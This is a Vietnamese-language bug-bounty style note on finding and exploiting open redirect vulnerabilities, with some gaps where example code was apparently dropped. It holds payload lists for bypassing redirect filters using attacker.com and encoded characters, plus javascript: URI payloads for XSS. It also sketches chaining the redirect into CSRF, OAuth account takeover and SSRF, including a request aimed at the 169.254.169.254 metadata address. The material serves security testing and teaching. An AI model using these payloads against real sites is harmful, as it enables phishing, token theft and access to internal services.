Chúng ta có thể test open redirect cho các tính năng sau:

  • Sign in & register pages
  • Sign out application route or API endpoint
  • Password resets (inspect the generated token link too as it may contain a redirect parameter)
  • Profile account page
  • Email verification links
  • Error pages
  • Any important action within the app that requires multiple steps

Simple Open URL Redirects

Giả sử injection point là redirect_url:

GET /logout.php?redirect_url=http://example.com/login.php HTTP/1.1
Host: example.com

Nếu server sử dụng một hostname whitelist cho redirect_uri thì có một số cách bypass như sau:

# Bypass a HTTP scheme blacklist
//attacker.com
/%0A/attacker.com
/%0D/attacker.com
/%09/attacker.com
/+/attacker.com
///attacker.com
\\attacker.com
 
# Bypass a URI authority component (//) blacklist
http:example.com
https:example.com
 
# Bypass weak domain validation
https://example.com@attacker.com
https://example.com.attacker.com
https://attacker.com/example.com
https://attacker.com?example.com
https://attacker.com%23example.com
https://attacker.com%00example.com
https://attacker.com%0Aexample.com
https://attacker.com%0Dexample.com
https://attacker.com%09example.com
https://example.com°attacker.com
 
# Bypass weak top-level domain (TLD) validation
https://example.comattacker.com
https://example.com.mx
https://example.company                                  # .company is a valid TLD
https://attacker.com%E3%80%82example.com                 # URL encoded Chinese dot
Chúng ta có thể sử dụng cheat sheet sau của Port Swigger: [URL validation bypass cheat sheet for SSRF/CORS/Redirect - 2024 Edition | Web Security Academy](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet)

Advanced Open URL Redirects

Giả sử ứng dụng có client-side redirect thông qua param redirect_uri:

GET /signin?redirectURL=javascript:alert() HTTP/1.1
Host: example.com

Và nó được sử dụng trong client-side script như sau:

Chúng ta có thể bypass filter (nếu có) bằng các payload sau:

# Simple bypasses
javascript:alert(1)
JavaScript:alert(1)
JAVASCRIPT:alert(1)
 
# Bypass weak regex patterns (try repositioning the URL-encoded special characters)
ja%20vascri%20pt:alert(1)
jav%0Aascri%0Apt:alert(1)
jav%0Dascri%0Dpt:alert(1)
jav%09ascri%09pt:alert(1)
 
# More advanced weak regex pattern bypasses
%19javascript:alert(1)
javascript://%0Aalert(1)
javascript://%0Dalert(1)
javascript://https://example.com%0Aalert(1)

Escalating Open URL Redirect Vulnerabilities

Cách nhận biết client-side redirect:

If you come across a page that is missing the **Location** HTTP response header but still redirects you (after a small delay), it usually indicates that a DOM-based redirect was performed.

Nếu client-side script xử lý không đúng cách, chúng ta thậm chí có thể biến open redirect thành lỗ hổng XSS.

GET-based Cross-site Request Forgeries

Ngoài ra, nó cũng có thể được dùng để thực hiện GET-based CSRF.

Ví dụ:

Có thể thấy, API thay đổi thông tin của user không được bảo vệ CSRF và ta có thể chain API /redirect với API đó để thực hiện tấn công.

Account Takeover via OAuth

Chúng ta cũng có thể chỉnh sửa tham số redirect_uri trong các OAuth flow để thực hiện ATO. Ví dụ:

/api/oauth/apple?client_id=1234&redirect_uri=https://example.com/api/oauth/callback&response_type=token&scope=openid%20profile&state=random-state

Server-side Request Forgery

Một số ứng dụng có lỗ hổng SSRF nhưng nó chỉ gửi request đến các hostname nằm trong whitelist. Ví dụ:

Khi đó, ta có thể sử dụng url là một URL mà sẽ bị gây ra một server-side redirect:

GET /api/image-loader?url=https%3A%2F%2Fexample.com%2Fredirect%3Furl%3Dhttp%253A%252F%252F169.254.169.254%252F...  HTTP/1.1
Host: example.com
[Open URL Redirect: Advanced Exploitation Guide | Intigriti](https://www.intigriti.com/researchers/blog/hacking-tools/open-url-redirects-a-complete-guide-to-exploiting-open-url-redirect-vulnerabilities)

Resources